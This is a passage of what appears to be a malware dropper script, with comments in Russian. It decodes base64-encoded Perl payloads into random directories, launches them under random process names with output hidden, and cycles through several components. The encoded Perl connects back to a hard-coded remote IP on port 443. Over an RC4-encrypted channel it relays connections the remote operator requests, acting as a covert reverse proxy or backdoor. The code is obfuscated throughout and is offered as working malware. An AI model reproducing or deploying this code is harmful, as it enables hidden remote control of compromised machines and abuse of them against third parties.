LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #2 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #2 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 3 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ 